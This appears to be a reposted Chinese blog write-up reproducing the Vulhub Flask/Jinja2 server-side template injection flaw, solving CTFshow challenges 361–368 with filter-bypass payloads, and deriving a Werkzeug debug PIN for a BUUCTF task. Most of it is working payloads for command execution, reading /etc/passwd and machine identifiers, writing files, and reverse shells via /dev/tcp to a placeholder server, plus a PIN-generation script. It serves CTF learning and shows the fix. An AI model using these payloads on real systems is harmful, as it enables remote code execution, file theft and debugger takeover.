博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Vulhub Flask SSTI漏洞复现
阅读量:2065 次
发布时间:2019-04-29

本文共 9703 字,大约阅读时间需要 32 分钟。

文章目录

环境搭建

  • 首先利用docker搭建好环境 docker-compose up -d
    在这里插入图片描述
  • docker ps查看搭建的端口:8000

漏洞复现

  • 开始复现
  • flask-ssti漏洞以前有总结过 整理的不够好 今天重新整理一下
  • 题目源码
from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index():    name = request.args.get('name', 'guest')    t = Template("Hello " + name)    return t.render()if __name__ == "__main__":    app.run()
  • 模板是jinja2模板,学习链接
  • 注入点
name = request.args.get('name', 'guest')  t = Template("Hello " + name)  return t.render()
  • 获取get传的name参数后 进行渲染 造成构造注入的漏洞
  • 判断措施name={
    { 'aaa' | upper}}
  • 页面回显 Hello AAA
  • 利用漏洞 这里在前面的文章讲过了
  • 官方漏洞利用
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__ == 'catch_warnings' %} {
% for b in c.__init__.__globals__.values() %} {
% if b.__class__ == {
}.__class__ %} {
% if 'eval' in b.keys() %} {
{
b['eval']('__import__("os").popen("id").read()') }} {
% endif %} {
% endif %} {
% endfor %}{
% endif %}{
% endfor %}
  • 自己整理的 利用官方payload复现成功
    在这里插入图片描述

python3

  • python3 利用open函数去读取文件
#文件读取{
{
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
  • 或者利用被重载过的函数.__init__后带wrapper表示没有被重载
  • 这里可以用个脚本跑一下 但是做题的时候 有些题目可能被阉割过 所以不能用脚本跑出的数据
num = -1search = '__builtins__'for c in ().__class__.__bases__[0].__subclasses__():    num += 1    try:        if search in c.__init__.__globals__.keys():            print(c, num)    except:        pass
  • 脚本跑的结果 数字不能用 但是函数是可以用滴!
    <class ‘_frozen_importlib._ModuleLock’> 80
    <class ‘_frozen_importlib._DummyModuleLock’> 81
    <class ‘_frozen_importlib._ModuleLockManager’> 82
    <class ‘_frozen_importlib.ModuleSpec’> 83
    <class ‘_frozen_importlib_external.FileLoader’> 94
    <class ‘_frozen_importlib_external._NamespacePath’> 95
    <class ‘_frozen_importlib_external._NamespaceLoader’> 96
    <class ‘_frozen_importlib_external.FileFinder’> 98
    <class ‘zipimport.zipimporter’> 105
    <class ‘zipimport._ZipImportResourceReader’> 106
    <class ‘codecs.IncrementalEncoder’> 108
    <class ‘codecs.IncrementalDecoder’> 109
    <class ‘codecs.StreamReaderWriter’> 110
    <class ‘codecs.StreamRecoder’> 111
    <class ‘os._wrap_close’> 134
    <class ‘os._AddedDllDirectory’> 135
    <class ‘_sitebuiltins.Quitter’> 136
    <class ‘_sitebuiltins._Printer’> 137
  • 含有__buitins__就可以利用python的内建函数了
  • 这里给几个payload
{
{
().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}{
% for c in ().__class__.__bases__[0].__subclasses__() %}{
% if c.__name__=="catch_warnings" %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{
% endif %}{
% endfor %}

python2

  • payload
#读取密码''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()#写文件#写文件''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')#OS模块system''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')popen''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()#eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#反弹shell''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
  • 如果将代码改成这样就不会造成模板注入了。
t = Template("Hello {
{n}}")return t.render(n=name)

CTFSHOW

WEB361

  • payload
{
{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

WEB362

  • 想用os._wrap_close类但是失败了
  • 不知道过滤了啥
  • WEB361的payload成功命令执行了
  • 看看过滤了啥
name = request.args.get('name')	if name:		if re.search(r"2|3",name,re.I):			return ':('
  • 这个过滤真的奇妙
  • 顺便看了一下别人的payload
?name={
{
lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}?name={
{
lipsum.__globals__['os'].popen('ls').read()}}?name={
{
x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
  • 第一个payload:
    lipsum是flask框架下的内置函数吧 调用了一下 发现会随机生成文章
    __getitem__是python的魔法函数,指定键后返回值
    第一个payload与第二个payload差别就在于一个是自己指定了键’os’,一个是利用_getitem_()返回值
  • 第三个payload a.__class__也是个类<class ‘jinja2.runtime.Undefined’>

WEB363 过滤"" ‘’

  • fuzz发现过滤了单引号双引号
  • payload
?name={
{
a.__class__.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • 源码
from flask import Flask from flask import request from flask import render_template_string import re app = Flask(__name__) @app.route('/') def app_index():     name = request.args.get('name')     if name: if re.search(r"\'|\"",name,re.I):        return ':('     template = ''' {%% block body %%} 

Hello

%s

{%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=80)
  • 另外的payload
?name={
{
lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag?name={
{
lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()?name={
{
x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

过滤单引号和双引号可以通过request绕过

WEB364 过滤’’ “” args

  • 和上面题目的差别在过滤了args
  • 将上题的payload中的args改为cookies
  • 然后Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB365 过滤 “” ‘’ args []

  • payload:
?name={
{
lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag?name={
{
lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB366

  • 进一步过滤了[],args,_
  • payload:
?name={
{
(lipsum|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}
d=__getitem__; a=os; b=cat /flag; c=__globals__
  • 过滤 ‘’ ""可以通过request.args.a绕过
  • 过滤args可以通过request.cookies.a绕过
  • 过滤[]可以通过__getitem__()绕过
  • 过滤_后,__getitem__无法直接调用,用attr绕过

WEB367

  • payload:
?name={
{
(x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
  • cookies
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

WEB368

  • 过滤了{
    {}}用{%%}控制语句代替
  • payload:
{
% print((x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Payload:?name={
% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
  • cookie
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

BUUCTF

[GYCTF2020]FlaskApp

  • 预期解 PIN码
  • 生成PIN码需要知道6个值
  1. flask所登录的用户名。可以通过读取/etc/password知道
  2. modname 一般不变就是flask.app
  3. getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
  4. flask库下app.py的绝对路径。在报错信息中可以获取此值为
  5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
  6. docker机器id
    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
    对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
  • 接下来写怎么获取上面的每个值
  1. payload:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{
% endif %}{
% endfor %}
  • flaskweb❌1000:1000::/home/flaskweb:/bin/sh 用户名为flaskweb
  1. 值为flask.app
  2. 值为Flask
  3. 报错信息中有 例如输入{
    {''.\__subclass\__()}}
    值位/usr/local/lib/python3.7/site-packages/flask/app.py
  4. payload:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{
% endif %}{
% endfor %}
  • 值为:02:42:ac:10:ad:e6 转十进制:2485377871334
  1. payload
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{
% endif %}{
% endfor %}
  • 值为:0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac
  • 最后用佬写的exp去跑
import hashlibfrom itertools import chainprobably_public_bits = [    'root'# username    'flask.app',# modname    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]private_bits = [    '2485377871334',# str(uuid.getnode()),  /sys/class/net/ens33/address    '0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac'# get_machine_id(), /etc/machine-id]h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = numprint(rv)
  • 我的PIN码值是:168-621-872
  • 在页面输入{
    {’’._subclass_}}造成报错后 在报错页面输入PIN码就可以进入debug模式
    在这里插入图片描述

转载地址:http://tfwmf.baihongyu.com/

你可能感兴趣的文章
spring+Mybatis+Ehcache整合
查看>>
google guava使用例子/示范(一)
查看>>
joda-time 时间API
查看>>
Joda Time API -2
查看>>
Spring使用Cache、整合Ehcache
查看>>
Chrome调试工具奇淫技
查看>>
30分钟快速掌握Bootstrap
查看>>
如何针对业务做DB优化
查看>>
程序猿都该知道的MySQL秘籍
查看>>
Eclipse全面提速小技巧
查看>>
前端程序员必知的30个Chrome扩展
查看>>
memcached分布式实现原理
查看>>
怎么成为架构师
查看>>
40个重要的HTML 5面试问题及答案
查看>>
在Java中如何高效判断数组中是否包含某个元素
查看>>
设计模式总结
查看>>
什么时候可以使用Ehcache缓存
查看>>
Java核心知识点-JVM结构和工作方式
查看>>
Java编程中“为了性能”一些尽量做到的地方
查看>>
Java并发编程:线程池的使用
查看>>